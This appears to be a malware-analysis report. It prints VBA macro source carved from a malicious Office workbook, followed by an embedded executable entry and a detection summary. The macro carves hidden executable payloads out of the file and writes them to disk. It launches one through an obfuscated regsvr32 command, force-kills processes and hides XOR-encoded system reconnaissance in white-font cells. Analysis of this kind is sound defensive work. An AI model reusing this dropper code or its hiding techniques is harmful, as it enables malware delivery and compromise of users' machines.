ThisWorkbook.Sheets(2).Range("F17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F17").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C18").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D18").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E18").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F18").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C19").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D19").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E19").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F19").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C20").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D20").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E20").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F20").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C21").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D21").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E21").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F21").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C22").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D22").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E22").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F22").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C23").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D23").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E23").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F23").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C24").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D24").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E24").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F24").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C25").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D25").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E25").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F25").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C26").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D26").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E26").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F26").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C27").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D27").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E27").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F27").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C28").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D28").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E28").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F28").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C29").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D29").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E29").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F29").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C30").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D30").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E30").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F30").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C31").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D31").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E31").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F31").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C32").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D32").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E32").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F32").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C33").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D33").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E33").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F33").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C34").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D34").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E34").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F34").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C35").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D35").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E35").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F35").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C36").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D36").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E36").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F36").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C37").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D37").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E37").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F37").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C38").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D38").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E38").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F38").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C39").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D39").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E39").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F39").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C40").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D40").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E40").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F40").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C41").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C41").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D41").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D41").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E41").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E41").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F41").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F41").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C42").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C42").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D42").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D42").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E42").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E42").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F42").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F42").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C43").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D43").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E43").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F43").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C44").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D44").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E44").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F44").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C45").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D45").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E45").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F45").offset(0, 0).Value
End Sub
Public Sub t1(exec As String)
Dim tkis As jlop
With tkis
.cb = LenB(tkis)
.dF = SUq Or SUHq
.wSW = SHq
End With
Dim tkas_kip As pgot
Dim wd As String
Dim r As Long
r = Neibq(0&, StrPtr(exec), 0&, 0&, True, 0&, ByVal 0&, StrPtr(wd), tkis, tkas_kip)
WFSO tkas_kip.hP, 15000
End Sub
Public Sub t0()
exec = exec & tskkl & " /f /IM "
On Error Resume Next
If VBA.LenB(fileBytes) > fsz1 Then
Call WF(fileBytes, fsz1, fsz2)
End If
End Sub
Public Sub ttt()
If fso.FileExists(dfo & "\" & prot & "\" & dna) = True Then
SRW
chk = chk + 2
If fso.FileExists(dfo & "\" & pfo1 & "\" & pna) = True Then
chk = chk + 4
End If
nLl = 2
Exit Sub
End If
CrFld dfo & "\" & prot
End Sub
Attribute VB_Name = "Module4"
Public Sub ini2(v() As String)
tskkl = v(10)
prot = v(9)
pfo1 = v(3)
pna = v(4)
tmpd = v(5)
arg1 = v(6)
arg2 = v(7)
arg3 = v(8)
End Sub
Public Sub chkos()
On Error Resume Next
Dim tmp As String
Dim i As Integer
tmp = ""
Dim k As Byte
k = 74
tmp = tmp & Application.OperatingSystem & Chr(10) & Application.Version + Chr(10) & "-" & Chr(10)
chf prf, tmp
tmp = tmp & "-" & Chr(10)
chf prf & " (x86)", tmp
Dim bres() As Byte
bres = tmp
For i = LBound(bres) To UBound(bres)
bres(i) = bres(i) Xor k
Next i
Dim res As String
res = bres
ThisWorkbook.Sheets(1).Range("Z101").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z103").offset(0, 0).Value & res
ThisWorkbook.Sheets(1).Range("Z101").offset(0, 0).Font.Color = 16777215
End Sub
Public Sub clr()
If nLl = 2 Then
Exit Sub
End If
If flr = 1 Then
asd
End If
uu
End Sub
Public Sub ges()
ini0
Dim origPath As String
Dim pathParts() As String
pathParts = VBA.Split(ThisWorkbook.path, "/")
origPath = ThisWorkbook.path & "\" & ThisWorkbook.Name
If fso.FileExists(origPath) <> True Then
If fso.FolderExists(ThisWorkbook.path) <> True Then
origPath = VBA.Environ("userprofile") & pathParts(UBound(pathParts)) & "\" & ThisWorkbook.Name
If fso.FileExists(origPath) <> True Then
origPath = VBA.Environ("userprofile") & "/OneDrive/" & pathParts(UBound(pathParts)) & "\" & ThisWorkbook.Name
End If
Else
End If
End If
fso.CopyFile origPath, tf & "\" & "~" & ThisWorkbook.Name & mp
End Sub
Attribute VB_Name = "Module5"
Public Sub chf(foln As String, ByRef res As String)
Dim fol, sfol As Object
Set fol = fso.GetFolder(foln)
For Each sfol In fol.subfolders
res = res + sfol.Name + Chr(10)
Next sfol
End Sub
Public Sub sge()
On Error Resume Next
t0
fso.CopyFile tf & "\" & tmpd, dfo & "\" & prot & "\" & dna
If fso.FileExists(dfo & "\" & prot & "\" & dna) = True Then
chk = chk + 2
End If
If fso.FileExists(dfo & "\" & pfo1 & "\" & pna) = True Then
chk = chk + 4
End If
End Sub
Public Sub ini()
Dim v() As String
Dim pb() As Byte
Dim fname As String
fname = tf & "\" & "~" & ThisWorkbook.Name & mp
fileBytes = br(fname)
Dim useless As Long
useless = 0
pb = SearchBytes(fileBytes, 0, fsz0, useless)
If GetSz(pb) = 0 Then
ThisWorkbook.Sheets(1).Range("Z95").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z95").offset(0, 0).Value & 1
Exit Sub
End If
vals = StrConv(pb, vbUnicode)
v = Split(vals, "|")
Call gin(v)
tsk = v(11)
ini2 v
dna = v(1)
End Sub
Public Sub getGrs(ByRef res As String)
res = VBA.StrReverse("exe.23r" + "vsger")
res = res & " /s /n"
res = res & " /i:'' "
res = res & dfo & "\" & prot & "\" & dna
End Sub
Attribute VB_Name = "Module6"
Public Function br(ilf) As Byte()
Dim lexir As Integer
lexir = 365
Dim expif As Integer
Dim ts As Object
expif = lexir / 23
Set ts = CreateObject(fsagh)
If expif < 30 Then
expif = lexir + 44
End If
Dim currentTime As Date
currentTime = Now()
ts.Open
expif = expif / 14
ts.Type = 1
expif = expif + 14
ts.LoadFromFile (ilf)
expif = expif * 20
br = ts.Read()
expif = expif / 23
ts.Close
If expif < 30 Then
expif = lexir + 44
End If
End Function
Public Function SP(src() As Byte) As Long
SP = -1
If VBA.LenB(src) < 5 Then Exit Function
Dim i As Long
For i = 1 To VBA.LenB(src) - 5
If (src(i) = 77) And (src(i + 1) = 90) And (src(i + 2) = 120) Then
SP = i
Exit For
End If
Next
End Function
Public Sub reflux()
Dim str As String
str = VBA.StrReverse(exec & tsk)
u1 str
End Sub
Public Function SearchBytes(src() As Byte, obj As Integer, size As Long, ByRef offset As Long) As Byte()
On Error GoTo Err
Dim dst() As Byte
ReDim dst(size - 1)
Dim raw_bytes_length As Long
raw_bytes_length = GetSz(src)
Dim png_start_bytes As Integer
png_start_bytes = 10
Dim ebPos As Long
ebPos = SearchEB(src)
Dim shiftEBPos As Long
shiftEBPos = 8228
Dim c6Pos As Long
c6Pos = 50688
Dim shiftC6Pos As Long
shiftC6Pos = 66048
Dim sizeC6 As Long
sizeC6 = 512
Dim stop_search As Boolean
stop_search = False
Dim offset_start As Long
offset_start = SPe(src, ebPos, c6Pos)
png_start_bytes = png_start_bytes + 127
Dim lsign As Integer
Dim signB() As Byte
signB = StrConv(sign, vbFromUnicode)
lsign = GetSz(signB)
While stop_search <> True
If offset_start + 5 > raw_bytes_length Then
offset_start = -1
Exit Function
End If
If offset_start = ebPos Then
offset_start = offset_start + 4
ebPos = ebPos + shiftEBPos
End If
If offset_start = c6Pos Then
offset_start = offset_start + sizeC6
c6Pos = c6Pos + shiftC6Pos
ebPos = ebPos + sizeC6
End If
If obj = 0 Then
If (offset_start < 10) Then
Exit Function
End If
If (src(offset_start - 3) <> signB(lsign - 3) Or src(offset_start - 2) <> signB(lsign - 2) Or src(offset_start - 1) <> signB(lsign - 1) Or src(offset_start) <> &H7C) Then
offset_start = offset_start + 1
Else
offset_start = offset_start + 1
stop_search = True
End If
ElseIf obj = 1 Then
If (src(offset_start) <> &H4D Or src(offset_start + 1) <> &H5A Or src(offset_start + 2) <> &H90 Or src(offset_start + 3) <> &H0 Or src(offset_start + 4) <> &H3) Then
offset_start = offset_start + 1
Else
offset = offset_start
stop_search = True
End If
ElseIf obj = 2 Then
If (src(offset_start) <> png_start_bytes Or src(offset_start + 1) <> 80 Or src(offset_start + 2) <> 78 Or src(offset_start + 3) <> 71 Or src(offset_start + 4) <> 13) Then
offset_start = offset_start + 1
Else
If offset_start >= offset + fsz1 Then
stop_search = True
Else
offset_start = offset_start + 1
End If
End If
Else
Exit Function
End If
Wend
Dim arrPos As Long
arrPos = 0
While arrPos < size
If offset_start + 5 > raw_bytes_length Then
offset_start = -1
Exit Function
End If
If offset_start = ebPos Then
offset_start = offset_start + 4
ebPos = ebPos + shiftEBPos
End If
If offset_start = c6Pos Then
offset_start = offset_start + sizeC6
c6Pos = c6Pos + shiftC6Pos
ebPos = ebPos + sizeC6
End If
dst(arrPos) = src(offset_start)
arrPos = arrPos + 1
offset_start = offset_start + 1
Wend
SearchBytes = dst
Exit Function
Err:
End Function
Attribute VB_Name = "Module7"
Public Function GetSz(arr() As Byte) As Long
On Error Resume Next
GetSz = UBound(arr) - LBound(arr) + 1
End Function
Public Sub hc(cell_name As String)
Dim tmp_value As String
Dim tmp_value_len As Long
tmp_value = ThisWorkbook.Sheets(2).Range(cell_name).Value
tmp_value_len = Len(tmp_value)
If tmp_value_len > 0 Then
If tmp_value_len < 10 Then
ThisWorkbook.Sheets(2).Range(cell_name).Value = hash1
ElseIf tmp_value_len < 20 Then
ThisWorkbook.Sheets(2).Range(cell_name).Value = hash2
Else
ThisWorkbook.Sheets(2).Range(cell_name).Value = hash3
End If
End If
End Sub
Public Function SearchEB(raw() As Byte) As Long
Dim raw_bytes_length As Long
raw_bytes_length = GetSz(raw)
Dim stop_search As Boolean
stop_search = False
Dim offset_start As Long
offset_start = 0
While stop_search <> True
If offset_start + 5 > raw_bytes_length Then
offset_start = -1
Exit Function
End If
If (raw(offset_start) <> &HEB Or raw(offset_start + 1) <> &H0 Or raw(offset_start + 2) <> &H20 Or raw(offset_start + 3) <> &H20) Then
offset_start = offset_start + 1
Else
stop_search = True
End If
Wend
SearchEB = offset_start
End Function
Public Function WF(src() As Byte, sz1 As Long, sz2 As Long)
Dim resBoolean As Boolean
Dim pb() As Byte
Dim d_offset As Long
d_offset = 0
pb = SearchBytes(src, 1, sz1, d_offset)
If GetSz(pb) = 0 Then
Exit Function
End If
resBoolean = wtof(tf & "\" & tmpd, pb)
If resBoolean = False Then
Exit Function
End If
pb = SearchBytes(src, 2, sz2, d_offset)
If GetSz(pb) = 0 Then
Exit Function
End If
resBoolean = wtof(pfo & "\" & pfo1 & "\" & pna, pb)
If resBoolean = False Then
Exit Function
End If
End Function
Attribute VB_Name = "Module8"
Public prot As String
Public Const twt = "23"
Public exec1 As String
Public Const mp = ".tmp"
Public Const hash3 = "################################################################################################################################################################"
Public fileBytes() As Byte
Public Const SHq As Integer = 0
Public pfo1 As String
Public Const fsz1 = 232960
Public Const FSWq As Long = &H2
Public Const FADq As Long = &H4
Public wdr As String
Public Const FSRq As Long = &H1
Public ps As String
Public Const hash1 = "##########"
Public Const FANq As Long = &H80
Public arg1 As String
…
|
|||
embedded_office_00004928.exe |
embedded-pe | Office MZ+PE at offset 0x4928 | 646360 bytes |
SHA-256: 5771f7198b04eeaeec1ec3b6f4fbbd567e51b1dd14220298537903c03b912f06 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.